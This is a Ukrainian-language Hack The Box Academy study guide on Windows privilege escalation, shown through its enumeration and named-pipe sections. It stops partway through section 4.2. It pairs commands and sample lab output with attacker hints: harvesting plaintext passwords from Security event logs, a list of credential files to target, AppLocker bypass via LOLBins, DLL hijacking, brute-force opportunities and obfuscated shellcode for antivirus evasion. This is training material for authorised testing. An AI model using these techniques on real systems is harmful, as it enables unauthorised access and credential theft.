```
root@htb:~/privesc# cat notes.md
```

WINDOWS PRIVILEGE ESCALATION

// Повний польовий довідник пентестера

WIN PRIVESC LEGAL

Джерело:	Hack The Box Academy
Мета:	Легальне навчання / авторизовані пентести
Формат:	A4 · темний термінал · повний чекліст
Версія:	1.0 · Part I · Розділи 0–8
Автор:	HTB Student

⚠ **LEGAL NOTICE**
Цей матеріал призначений виключно для легального навчання та авторизованих тестів на проникнення. Використання описаних технік на системах без явного письмового дозволу власника є кримінально карним злочином. Автор не несе відповідальності за будь-яке незаконне використання.

Зміст

[00] Умовні позначення та легенда 3

[01] Чекліст перерахування (Enumeration Cheatsheet) 4

1.1 Мережева інформація
1.2 Захисні механізми
1.3 Системна інформація
1.4 Мережеві сервіси та процеси
1.5 Named Pipes
1.6 Користувачі та групи
1.7 Сервіси та їх дозволи
1.8 Журнали подій (паролі в логах)
1.9 DNS (DnsAdmins)
1.10 Цілі для SeTakeOwnershipPrivilege

[02] Ситуаційна обізнаність (Situational Awareness) 9

2.1 Мережева інформація
2.2 Захисні механізми

[03] Початкове перерахування (Initial Enumeration) 11

3.1 Системна інформація
3.2 Користувачі та групи

[04] Комунікація з процесами 13

4.1 Мережеві сервіси
4.2 Named Pipes

[05] Огляд привілеїв Windows 15

[06] SeImpersonate та SeAssignPrimaryToken 17

6.1 Виявлення через MSSQL
6.2 JuicyPotato (Server 2016 і старіше)
6.3 PrintSpoofer (Server 2019 / Win10 1809+)

[07] SeDebugPrivilege 20

7.1 Дамп LSASS та витяг паролів
7.2 RCE як SYSTEM через батьківський процес

[08] SeTakeOwnershipPrivilege 22

[09] Вбудовані привілейовані групи Windows 24

9.1 Backup Operators

9.2 Event Log Readers
9.3 DnsAdmins
9.4 Hyper-V Administrators
9.5 Print Operators
9.6 Server Operators

[10] Подальший напрямок вивчення 34

Легенда та умовні позначення

Документ організований за принципом польового довідника: спочатку чекліст перерахування з посиланнями на розділи експлуатації, потім покрокові техніки. Кожна команда має output-приклад та hint з конкретним критерієм пошуку.

Типи командних блоків

Тег	Колір	Значення
`cmd`	зелений	Windows CMD (cmd.exe)
`ps`	синій	PowerShell
`sh`	рожевий	Kali Linux / Bash
`c`	фіолетовий	C / C++ / вбудований код
`out`	сірий	Приклад виводу команди
`reg`	помаранчевий	Windows Registry

Типи підказок

Блок	Призначення
▸ hint	3–10 слів: конкретний прапорець/рядок на який дивитися
⏳ wait	Повільна команда — чекати завершення
⚠ warn	Деструктивна або гучна дія — обережно
✓ tip	Практична порада досвідченого пентестера
ℹ note	Технічне пояснення "чому саме так"

Розділ 01: Чекліст перерахування

Повний список команд для пошуку векторів підвищення привілеїв. Посилання у дужках вказують на розділ експлуатації знайденого вектора. Виконувати послідовно — не пропускати жоден підрозділ.

1.1 Мережева інформація

[E01] Мережеві інтерфейси та IP → Розділ 2.1

```
C:\htb> ipconfig /all
```

CMD

OUT

```
Windows IP Configuration

   Host Name . . . . . . . . . . . . : WS01
   DNS Suffix  . . . . . . . . . . . : inlanefreight.local

Ethernet adapter Ethernet0:
   IPv4 Address. . . . . . . . . . . : 10.129.43.30
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.129.0.1
   DHCP Server . . . . . . . . . . . : 10.129.0.1

Ethernet adapter Ethernet1:
   IPv4 Address. . . . . . . . . . . : 192.168.10.15
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.10.1
```

▸ Два адаптери = dual-homed; DNS Suffix = домен AD

[E02] ARP-таблиця → Розділ 2.1

```
C:\htb> arp -a
```

CMD

OUT

```
Interface: 10.129.43.30 --- 0x4
  Internet Address      Physical Address      Type
  10.129.0.1            00-50-56-8a-b2-f1     dynamic
  10.129.43.9           00-50-56-8a-c3-11     dynamic
  10.129.255.255        ff-ff-ff-ff-ff-ff     static
```

▸ dynamic = нещодавня комунікація; .1 = gateway/DC

[E03] Таблиця маршрутизації → Розділ 2.1

CMD
```
C:\htb> route print
```

OUT
```
Active Routes:
Network Destination    Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0     10.129.0.1  10.129.43.30     25
       10.129.0.0      255.255.0.0         On-link  10.129.43.30    281
      192.168.10.0  255.255.255.0         On-link  192.168.10.15    281

Persistent Routes:
  Network Address    Netmask  Gateway Address  Metric
     192.168.50.0  255.255.255.0  192.168.10.1       1
```

▸ Кілька On-link = dual-homed; Persistent Routes = важливі мережі

1.2 Захисні механізми

[E04] Статус Windows Defender → Розділ 2.2

PS
```
PS C:\htb> Get-MpComputerStatus
```

OUT
```
AMEngineVersion          : 1.1.19000.8
AMServiceEnabled          : True
AMServiceVersion          : 4.18.2201.10
AntispywareEnabled        : True
AntivirusEnabled          : True
BehaviorMonitorEnabled    : True
IoavProtectionEnabled     : True
NISEnabled                : False
OnAccessProtectionEnabled : True
RealTimeProtectionEnabled : True
```

▸ RealTimeProtectionEnabled = True → обхід AV обов'язковий

[E05] Правила AppLocker

→ Розділ 2.2

```
PS C:\htb> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

PS

OUT

```
PathConditions : {%WINDIR%\*}
PathExceptions : {}
RuleCollectionType : Exe
Action : Allow
Name : All files in %WINDIR%

PathConditions : {%OSDRIVE%\Users\*\Downloads\*}
Action : Deny
Name : Block Downloads
```

▸ Action = Deny + PathConditions → знайти шлях для bypass

✓ **TIP:** Якщо cmd.exe заблокований — спробувати mshta.exe, wscript.exe або certutil.exe як лівередж.

[E06] Тест AppLocker для конкретного файлу

→ Розділ 2.2

```
PS C:\htb> Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System
\cmd.exe -User Everyone
```

PS

OUT

```
FilePath       PolicyDecision MatchingRule
--------       -------------- ------------
C:\Windows\... Allowed        All files in %WINDIR%
```

▸ PolicyDecision = Denied → потрібен bypass через інший бінарник

1.3 Системна інформація

[E07] Список процесів та сервісів → Розділ 3.1

CMD
```
C:\htb> tasklist /svc
```

OUT
```
Image Name                     PID Services
========================= ======== ============================================
System Idle Process              0 N/A
System                           4 N/A
svchost.exe                    988 DcomLaunch, PlugPlay, Power
FileZilla Server.exe          1240 FileZilla Server
jenkins.exe                   2048 Jenkins
MsMpEng.exe                   3120 WinDefend
splunkd.exe                   4096 SplunkForwarder
```

▸ FileZilla / Jenkins / Splunk = нестандартні вектори PrivEsc

[E08] Змінні середовища → Розділ 3.1

CMD
```
C:\htb> set
```

OUT
```
COMPUTERNAME=WS01
HOMEDRIVE=\\fileserver\users
HOMEPATH=\htb-student
LOGONSERVER=\\DC01
PATH=C:\Tools;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem
USERNAME=htb-student
USERPROFILE=C:\Users\htb-student
```

▸ C:\Tools ПЕРЕД System32 у PATH → DLL hijacking вектор

⚠ **УВАГА:** Writable директорія на початку PATH = запис шкідливого DLL підхоплюється першою.

[E09] Детальна системна інформація

→ Розділ 3.1

CMD

```
C:\htb> systeminfo
```

OUT

```
OS Name:                   Microsoft Windows Server 2016 Datacenter
OS Version:                10.0.14393 Build 14393
System Boot Time:          10/15/2021, 8:22:01 AM
Domain:                    INLANEFREIGHT.LOCAL
Hotfix(s):                 3 Hotfix(s) Installed.
                           [01]: KB3199209
                           [02]: KB4486459
                           [03]: KB4503537
```

▸ Build 14393 + мало Hotfix → шукати CVE для Windows Server 2016

✓ **TIP:** System Boot Time > 6 міс = система давно не оновлювалась. Гуглити: "Windows Server 2016 14393 privilege escalation".

[E10] Встановлені патчі (WMI)

→ Розділ 3.1

CMD

```
C:\htb> wmic qfe
```

OUT

```
Caption                                    CSName  Description  FixComments  HotFi
InstallDate  InstalledBy          InstalledOn  Name  ServicePackInEffect  Status
http://support.microsoft.com/?kbid=3199209  WS01    Update                    KB3199209
NT AUTHORITY\SYSTEM  10/15/2021
http://support.microsoft.com/?kbid=4486459  WS01    Update                    KB4486459
NT AUTHORITY\SYSTEM  11/20/2021
http://support.microsoft.com/?kbid=4503537  WS01    Update                    KB4503537
NT AUTHORITY\SYSTEM  12/01/2021
```

▸ InstalledOn > 6 місяців тому → ймовірна вразливість; гуглити KB + CVE

[E11] Встановлені програми з версіями

→ Розділ 3.1

PS

```
PS C:\htb> Get-WmiObject -Class Win32_Product | select Name, Version
```

OUT

```
Name                              Version
----                              -------
FileZilla Client 3.56.2           3.56.2
Microsoft SQL Server 2014         12.0.2000.8
Java 8 Update 281                 8.0.2810.9
XAMPP                             7.4.15-0
```

▸ SQL Server 12.0 / Java 8u281 → перевірити CVE бази для цих версій

1.4 Мережеві сервіси та процеси

[E12] Активні мережеві з'єднання → Розділ 4.1

CMD
```
C:\htb> netstat -ano
```

OUT
```
Proto  Local Address          Foreign Address        State           PID
TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       988
TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
TCP    127.0.0.1:14147        0.0.0.0:0              LISTENING       1240
TCP    127.0.0.1:8065         0.0.0.0:0              LISTENING       4096
TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1128
TCP    10.129.43.30:50423     10.10.14.3:4444        ESTABLISHED     2892
```

▸ 127.0.0.1:14147 = FileZilla admin; :8065 = Splunk; незахищені localhost сервіси

ℹ PID 1240 зіставити через `tasklist /fi "PID eq 1240"` для визначення процесу.

1.5 Named Pipes

[E13] Список named pipes (Pipelist) → Розділ 4.2

CMD
```
C:\htb> pipelist.exe /accepteula
```

OUT
```
Pipe Name                                     Instances  Max Instances
-----                                         ---------  -------------
InitShutdown                                  3          -1
lsass                                         4          -1
ntsvcs                                        3          -1
scerpc                                        3          -1
WindscribeService                             1          1
Winsock2\CatalogChangeListener-2b8-0          1          1
```

▸ WindscribeService pipe = потенційно вразливий; нестандартні pipe-и перевіряти першими

[E14] Список named pipes (PowerShell)

→ Розділ 4.2

PS

```
PS C:\htb> gci \\.\pipe\
```

OUT

```
    Directory: \\.\pipe

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------        1/1/1601   2:00 AM              0 InitShutdown
------        1/1/1601   2:00 AM              0 lsass
------        1/1/1601   2:00 AM              0 WindscribeService
------        1/1/1601   2:00 AM              0 msagent_81f3a0
```

▸ msagent_* = ймовірний Cobalt Strike pipe

[E15] Перевірка дозволів LSASS pipe

→ Розділ 4.2

CMD

```
C:\htb> accesschk.exe /accepteula \\.\Pipe\lsass -v
```

OUT

```
\\.\Pipe\lsass
  Untrusted Mandatory Level [No-Write-Up]
  RW NT AUTHORITY\ANONYMOUS LOGON
     FILE_READ_ATTRIBUTES
  RW BUILTIN\Administrators
     FILE_ALL_ACCESS
```

▸ RW Everyone або FILE_ALL_ACCESS для непривілейованих = КРИТИЧНА вразливість

[E16] **Pipe-и з правом запису для всіх** → Розділ 4.2

```
C:\htb> accesschk.exe -w \pipe\* -v
```

CMD

```
Accesschk v6.14 - Reports effective permissions for securable objects
Copyright (C) 2006-2021 Mark Russinovich

\pipe\WindscribeService
  Medium Mandatory Level [No-Write-Up]
  RW Everyone
     FILE_ALL_ACCESS
```

OUT

▸ RW Everyone + FILE_ALL_ACCESS на WindscribeService → вектор PrivEsc до SYSTEM

⚠ **УВАГА:** Взаємодія з pipe від непривілейованого користувача може бути зафіксована у логах аудиту.

1.6 Користувачі та групи

[E17] **Активні сесії** → Розділ 3.2

```
C:\htb> query user
```

CMD

```
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 administrator         rdp-tcp#2           2  Active          .  4/20/2026 8:12 AM
 htb-student           console             1  Active       none  4/20/2026 7:55 AM
```

OUT

▸ administrator Active = обережно з гучними діями; rdp-tcp = RDP сесія

[E18] Привілеї поточного користувача

→ Розділи 6, 7, 8, 9

CMD

```
C:\htb> whoami /priv
```

OUT

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalObjects         Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
```

▸ SeImpersonatePrivilege Enabled → JuicyPotato / PrintSpoofer → SYSTEM

✓ **TIP:** Disabled = привілей призначений але неактивний. Більшість potato-атак активують його автоматично.

[E19] Групи поточного користувача

→ Розділ 9

CMD

```
C:\htb> whoami /groups
```

OUT

```
GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================
==============================
Everyone                               Well-known group S-1-1-0      Mandatory group, En
abled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551 Mandatory group, En
abled by default, Enabled group
BUILTIN\Remote Management Users        Alias            S-1-5-32-580 Mandatory group, En
abled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, En
abled by default, Enabled group
```

▸ BUILTIN\Backup Operators = SeBackupPrivilege → копіювання NTDS.dit

[E20] Всі локальні користувачі

→ Розділ 3.2

CMD

```
C:\htb> net user
```

OUT

```
User accounts for \\WS01

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
htb-student              jordan_adm               mssql_svc
server_adm               WDAGUtilityAccount
The command completed successfully.
```

▸ _adm / _svc суфікси = сервісні акаунти; спробувати password reuse між ними

[E21] Члени групи Administrators

→ Розділ 3.2

CMD

```
C:\htb> net localgroup administrators
```

OUT

```
Alias name     administrators
Comment        Administrators have complete and unrestricted access

Members

-------------------------------------------------------------------------------
Administrator
jordan_adm
INLANEFREIGHT\Domain Admins
The command completed successfully.
```

▸ jordan_adm у локальних адмінах = ціль для credential reuse

[E22] Політика паролів

→ Розділ 3.2

CMD

```
C:\htb> net accounts
```

OUT

```
Force user logoff how long after time expires?:       Never
Minimum password age (days):                          0
Maximum password age (days):                          42
Minimum password length:                              0
Length of password history maintained:                None
Lockout threshold:                                    Never
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
Computer role:                                        WORKSTATION
```

▸ Lockout threshold = Never + min length = 0 → brute force без блокування

1.7 Сервіси та їх дозволи

[E23] Конфігурація сервісу → Розділ 9.6

```
C:\htb> sc qc AppReadiness
```

CMD

```
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AppReadiness
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\svchost.exe -k AppReadiness -p
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : App Readiness
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem
```

OUT

▸ SERVICE_START_NAME = LocalSystem → замінити BINARY_PATH_NAME на нашу команду

[E24] Дозволи сервісу через PsService → Розділ 9.6

```
C:\htb> c:\Tools\PsService.exe security AppReadiness
```

CMD

```
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich

SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness

        [ALLOW] NT AUTHORITY\SYSTEM
                All

        [ALLOW] BUILTIN\Administrators
                All

        [ALLOW] BUILTIN\Server Operators
                All
```

OUT

▸ [ALLOW] BUILTIN\Server Operators All → повний контроль над сервісом

[E25] Дозволи сервісу через sc sdshow → Розділ 9.3

```
C:\htb> sc.exe sdshow DNS
```

CMD

OUT

```
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWP;;;S-1-5-21-669053619-3190449917-311
7070443-1119)
```

▸ RPWP у рядку для нашого SID = право Start/Stop сервісу DNS

1.8 Журнали подій (паролі в логах)

[E26] Пошук паролів у логах безпеки → Розділ 9.2

```
PS C:\htb> wevtutil qe Security /rd:true /f:text | Select-String "/user"
```

PS

OUT

```
  Process Command Line: net use T: \\dc01\IT_Share /user:jordan_adm P@ssw0rd123!
  Process Command Line: net use Z: \\fileserver\users /user:INLANEFREIGHT\htb-student
Welcome1
```

▸ рядки /user з паролями у відкритому вигляді = credential harvest

⚠ **УВАГА:** Читання Security log генерує Event ID 4663. Потенційно видно у SIEM.

[E27] Process creation events з /user → Розділ 9.2

```
PS C:\htb> Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Propertie
[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Proper
ties[8].Value }}
```

PS

OUT

```
CommandLine
-----------
net use T: \\dc01\IT_Share /user:jordan_adm P@ssw0rd123!
runas /user:INLANEFREIGHT\administrator cmd.exe
```

▸ Event ID 4688 + Properties[8] = CommandLine з паролем; потребує Event Log Readers

1.9 DNS (для членів DnsAdmins)

[E28] Перевірка членства в DnsAdmins → Розділ 9.3

```
PS C:\htb> Get-ADGroupMember -Identity DnsAdmins
```

```
distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name              : netadm
objectClass       : user
objectGUID        : 1c5c7af8-e3b2-4f3c-a1d7-fc87b320e9b5
SamAccountName    : netadm
SID               : S-1-5-21-669053619-3190449917-3117070443-1119
```

▸ netadm у DnsAdmins = завантаження DLL на DNS сервер як SYSTEM

[E29] Перевірка реєстру DNS після атаки → Розділ 9.3

```
C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Paramet
```

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
    ServerLevelPluginDll    REG_SZ    C:\Users\netadm\Desktop\adduser.dll
```

▸ ServerLevelPluginDll присутній = кастомна DLL завантажена у DNS сервіс

1.10 Цікаві цілі для SeTakeOwnershipPrivilege

За наявності **SeTakeOwnershipPrivilege** перевірити доступ до наступних файлів:

Файл / Шлях	Що містить
`c:\inetpub\wwwroot\web.config`	Credentials для БД/застосунків
`%WINDIR%\repair\sam`	Хеші паролів локальних акаунтів
`%WINDIR%\repair\system`	System hive для розшифрування SAM
`%WINDIR%\system32\config\SecEvent.Evt`	Security Event Log
`%WINDIR%\system32\config\*.sav`	Резервні копії реєстру
`*.kdbx`	KeePass база паролів
`passwords.*, pass.*, creds.*`	Файли з паролями
`*.vhd, *.vhdx`	Віртуальні диски (можуть містити NTDS.dit)

✓ **TIP:** Шукати ці файли через: `dir /s /b *.kdbx 2>nul` або `Get-ChildItem -Recurse -Include *.kdbx`

Розділ 02: Ситуаційна обізнаність

Після отримання першого доступу потрібно зрозуміти де ми знаходимось. Як детектив на місці злочину — спочатку оглядаємо оточення: яка мережа, чи є антивірус, які обмеження встановлено. Це допомагає обрати правильний інструмент і не засвітитись.

2.1 Мережева інформація

Збір мережевої інформації — критичний крок. Якщо хост dual-homed (має два мережевих адаптери), ми отримуємо доступ до прихованих сегментів мережі.

CMD
```
C:\htb> ipconfig /all
```

OUT
```
Windows IP Configuration

   Host Name . . . . . . . . . . . . : WS01
   DNS Suffix  . . . . . . . . . . . : inlanefreight.local
   DNS Servers . . . . . . . . . . . : 10.129.43.9

Ethernet adapter Ethernet0:
   IPv4 Address. . . . . . . . . . . : 10.129.43.30
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   DHCP Server . . . . . . . . . . . : 10.129.0.1

Ethernet adapter Ethernet1:
   IPv4 Address. . . . . . . . . . . : 192.168.20.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
```

▸ Два адаптери з різними підмережами = dual-homed; DHCP Server IP = можливий DC

CMD
```
C:\htb> arp -a
```

OUT
```
Interface: 10.129.43.30 --- 0x4
  Internet Address      Physical Address      Type
  10.129.43.9           00-50-56-8a-c3-11     dynamic
  10.129.43.1           00-50-56-8a-b2-00     dynamic

Interface: 192.168.20.10 --- 0x7
  Internet Address      Physical Address      Type
  192.168.20.1          00-0c-29-1a-2b-3c     dynamic
  192.168.20.50         00-0c-29-aa-bb-cc     dynamic
```

▸ dynamic записи = нещодавня комунікація; .1 записи = gateway/DC на кожному інтерфейсі

CMD
```
C:\htb> route print
```

```
Active Routes:
Network Destination    Netmask          Gateway       Interface   Metric
          0.0.0.0          0.0.0.0     10.129.0.1   10.129.43.30     25
        10.129.0.0      255.255.0.0         On-link   10.129.43.30    281
     192.168.20.0  255.255.255.0         On-link   192.168.20.10    281

Persistent Routes:
  Network Address          Netmask  Gateway Address  Metric
     192.168.50.0      255.255.255.0   192.168.20.1       1
```

▸ Persistent Routes = завжди доступні мережі; кілька On-link = dual-homed підтверджено

2.2 Захисні механізми

Перед запуском будь-яких інструментів потрібно знати що захищає систему. Якщо AV активний — деякі інструменти одразу спрацюють. AppLocker може заблокувати навіть cmd.exe або PowerShell.

```
PS C:\htb> Get-MpComputerStatus
```

```
AMProductVersion          : 4.18.2201.10
AntivirusEnabled          : True
BehaviorMonitorEnabled    : False
IoavProtectionEnabled     : True
NISEnabled                : False
RealTimeProtectionEnabled : False
```

▸ RealTimeProtectionEnabled = False → AV пасивний; BehaviorMonitorEnabled = False → поведінковий аналіз вимкнений

✓ **TIP:** Якщо RealTimeProtection = False але AntivirusEnabled = True — підпис-детектування активне. Використовувати обфускований shellcode або LOLBins.

```
PS C:\htb> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

```
PathConditions : {%WINDIR%\*}
Action         : Allow

PathConditions : {%PROGRAMFILES%\*}
Action         : Allow

PathConditions : {*}
Action         : Deny
Name           : Default deny all
```

▸ Default deny all = лише %WINDIR% та %PROGRAMFILES% дозволені → LOLBins або довірені шляхи

```
PS C:\htb> Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
```

```
FilePath                                PolicyDecision MatchingRule
--------                                -------------- ------------
C:\Windows\System32\cmd.exe             Allowed        %WINDIR%\* Allow Rule
```

OUT

▸ PolicyDecision = Allowed → cmd.exe доступний у цій конфігурації

Розділ 03: Початкове перерахування

Після landing на системі потрібно зібрати максимум інформації вручну. Уявіть що ви новий співробітник компанії який вперше сів за комп'ютер — вам потрібно зрозуміти: що це за машина, хто ще нею користується, які програми встановлені і чи є якісь дірки в налаштуваннях.

3.1 Системна інформація

```
C:\htb> tasklist /svc
```

CMD

```
Image Name                     PID Services
========================= ======== ============================================
System                           4 N/A
svchost.exe                    988 DcomLaunch, PlugPlay, Power
FileZilla Server.exe          1240 FileZilla Server
jenkins.exe                   2048 Jenkins
xampp-control.exe             2560 N/A
splunkd.exe                   4096 SplunkForwarder
MsMpEng.exe                   3120 WinDefend
```

OUT

▸ FileZilla / Jenkins / XAMPP / Splunk = нестандартні процеси → потенційні вектори

```
C:\htb> set
```

CMD

```
COMPUTERNAME=WS01
HOMEDRIVE=\\fileserver\users
HOMEPATH=\htb-student
LOGONSERVER=\\DC01
OS=Windows_NT
PATH=C:\Tools;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32
\WindowsPowerShell\v1.0
TEMP=C:\Users\htb-student\AppData\Local\Temp
USERNAME=htb-student
```

OUT

▸ C:\Tools ПЕРЕД system32 у PATH = writable директорія → DLL hijacking

```
C:\htb> systeminfo
```

CMD

```
OS Name:                   Microsoft Windows Server 2016 Datacenter
OS Version:                10.0.14393 Build 14393
OS Manufacturer:           Microsoft Corporation
System Boot Time:          10/15/2021, 8:22:01 AM
System Type:               x64-based PC
Domain:                    INLANEFREIGHT.LOCAL
Hotfix(s):                 3 Hotfix(s) Installed.
                           [01]: KB3199209
                           [02]: KB4486459
                           [03]: KB4503537
```

OUT

▸ Build 14393 + 3 hotfix + boot 2021 = давно не оновлювалась; шукати kernel exploits

ℹ Domain = INLANEFREIGHT.LOCAL підтверджує Active Directory середовище. WORKGROUP = standalone хост, AD атаки недоступні.

```
C:\htb> wmic qfe
```

CMD

```
HotFixID   InstalledBy               InstalledOn
---------  -----------               -----------
KB3199209  NT AUTHORITY\SYSTEM       10/15/2021
KB4486459  NT AUTHORITY\SYSTEM       11/20/2021
KB4503537  NT AUTHORITY\SYSTEM       12/01/2021
```

OUT

▸ Остання дата 12/2021 = понад 4 роки без патчів → численні CVE

```
PS C:\htb> Get-HotFix | ft -AutoSize
```

PS

```
Source  Description     HotFixID   InstalledBy            InstalledOn
------  -----------     --------   -----------            -----------
WS01    Update          KB3199209  NT AUTHORITY\SYSTEM    10/15/2021 12:00:00 AM
WS01    Security Update KB4486459  NT AUTHORITY\SYSTEM    11/20/2021 12:00:00 AM
WS01    Update          KB4503537  NT AUTHORITY\SYSTEM    12/01/2021 12:00:00 AM
```

OUT

▸ Description = "Security Update" = безпековий патч; прогалини між датами = вразливі вікна

```
C:\htb> wmic product get name
```

CMD

```
Name
FileZilla Client 3.56.2
FileZilla Server 0.9.60.2
PuTTY release 0.76
Microsoft SQL Server 2014 (SP3)
Java 8 Update 281
XAMPP 7.4.15-0
Git version 2.34.1
```

OUT

▸ FileZilla + PuTTY = LaZagne для збережених credentials; SQL Server 2014 = перевірити CVE

```
C:\htb> netstat -ano
```

CMD

```
Proto  Local Address          Foreign Address        State           PID
TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       988
TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       2048
TCP    127.0.0.1:14147        0.0.0.0:0              LISTENING       1240
TCP    127.0.0.1:8065         0.0.0.0:0              LISTENING       4096
TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1128
```

▸ 127.0.0.1:14147 = FileZilla admin panel; :8065 = Splunk; localhost-only = незахищені

3.2 Користувачі та групи

```
C:\htb> query user
```

```
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 administrator         rdp-tcp#2           2  Active          .  4/20/2026 8:12 AM
 htb-student           console             1  Active      none   4/20/2026 7:55 AM
```

▸ administrator Active по RDP = уникати гучних дій; моніторить сесію

```
C:\htb> whoami /priv
```

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                            State
========================================= ========
SeAssignPrimaryTokenPrivilege             Disabled
SeIncreaseQuotaPrivilege                  Disabled
SeSecurityPrivilege                       Disabled
SeTakeOwnershipPrivilege                  Disabled
SeLoadDriverPrivilege                     Disabled
SeBackupPrivilege                         Disabled
SeRestorePrivilege                        Disabled
SeShutdownPrivilege                       Disabled
SeDebugPrivilege                          Disabled
SeChangeNotifyPrivilege                   Enabled
SeImpersonatePrivilege                    Enabled
SeCreateGlobalObjects                     Enabled
```

▸ SeImpersonatePrivilege Enabled → перейти до Розділу 6; SeDebugPrivilege Disabled → потрібен elevated shell

```
C:\htb> whoami /groups
```

```
GROUP INFORMATION
-----------------

Group Name                                   Type             Attributes
============================================ ================ ================================
====================
Everyone                                     Well-known group Mandatory group, Enabled by de
fault, Enabled group
BUILTIN\Print Operators                      Alias            Mandatory group, Enabled by de
fault, Enabled group
BUILTIN\Remote Desktop Users                 Alias            Mandatory group, Enabled by de
fault, Enabled group
NT AUTHORITY\INTERACTIVE                     Well-known group Mandatory group, Enabled by de
fault, Enabled group
```

▸ BUILTIN\Print Operators = SeLoadDriverPrivilege → завантаження Capcom.sys → SYSTEM

```
C:\htb> net user
```

```
User accounts for \\WS01

Administrator  DefaultAccount  Guest  htb-student
jordan_adm     mssql_svc       server_adm  WDAGUtilityAccount
The command completed successfully.
```

▸ jordan_adm / mssql_svc / server_adm = сервісні/адмін акаунти; спробувати password reuse

```
C:\htb> net localgroup administrators
```

```
Alias name     administrators

Members

-------------------------------------------------------------------------------
Administrator
jordan_adm
INLANEFREIGHT\Domain Admins
The command completed successfully.
```

▸ jordan_adm = локальний адмін → credential reuse / lateral movement

```
C:\htb> net accounts
```

```
Force user logoff how long after time expires?:       Never
Minimum password age (days):                          0
Maximum password age (days):                          42
Minimum password length:                              0
Lockout threshold:                                    Never
```

▸ min length = 0 + Lockout = Never → слабка політика; brute force без блокування

Розділ 04: Комунікація з процесами

Windows процеси спілкуються між собою двома способами: через мережеві сокети та через Named Pipes (іменовані канали). Named Pipe — це труба між двома програмами. Якщо будь-хто може записати в цю трубу — він може надсилати команди привілейованому процесу.

4.1 Мережеві сервіси

```
C:\htb> netstat -ano
```

CMD

OUT

```
Proto  Local Address          Foreign Address        State           PID
TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       988
TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
TCP    127.0.0.1:14147        0.0.0.0:0              LISTENING       1240
TCP    127.0.0.1:25672        0.0.0.0:0              LISTENING       3344
TCP    127.0.0.1:8065         0.0.0.0:0              LISTENING       4096
TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1128
TCP    10.129.43.30:50123     10.10.14.3:4444        ESTABLISHED     3892
```

▸ :14147 = FileZilla admin; :25672 = Erlang/RabbitMQ; :8065 = Splunk; ESTABLISHED = активне з'єднання

ℹ Ключовий принцип: localhost-only сервіси (127.0.0.1) часто незахищені — розробники вважають що вони "недоступні з мережі". Але ми вже на машині.

4.2 Named Pipes

Named Pipes — файли в пам'яті для міжпроцесної комунікації. Якщо привілейований процес читає з pipe-у до якого ми маємо доступ на запис — можлива атака через підміну даних або token impersonation.

```
C:\htb> pipelist.exe /accepteula
```

CMD

OUT

```
PipeList v1.02 - Lists open named pipes
Copyright (C) 2005-2016 Mark Russinovich

Pipe Name                                      Instances  Max Instances
-----                                          ---------  -------------
InitShutdown                                   3          -1
lsass                                          4          -1
ntsvcs                                         3          -1
scerpc                                         3          -1
Winsock2\CatalogChangeListener-2b8-0           1          1
WindscribeService                              1          1
epmapper                                       3          -1
```

▸ WindscribeService pipe = 1 instance = потенційно вразливий; перевірити accesschk

```
PS C:\htb> gci \\.\pipe\
```

PS

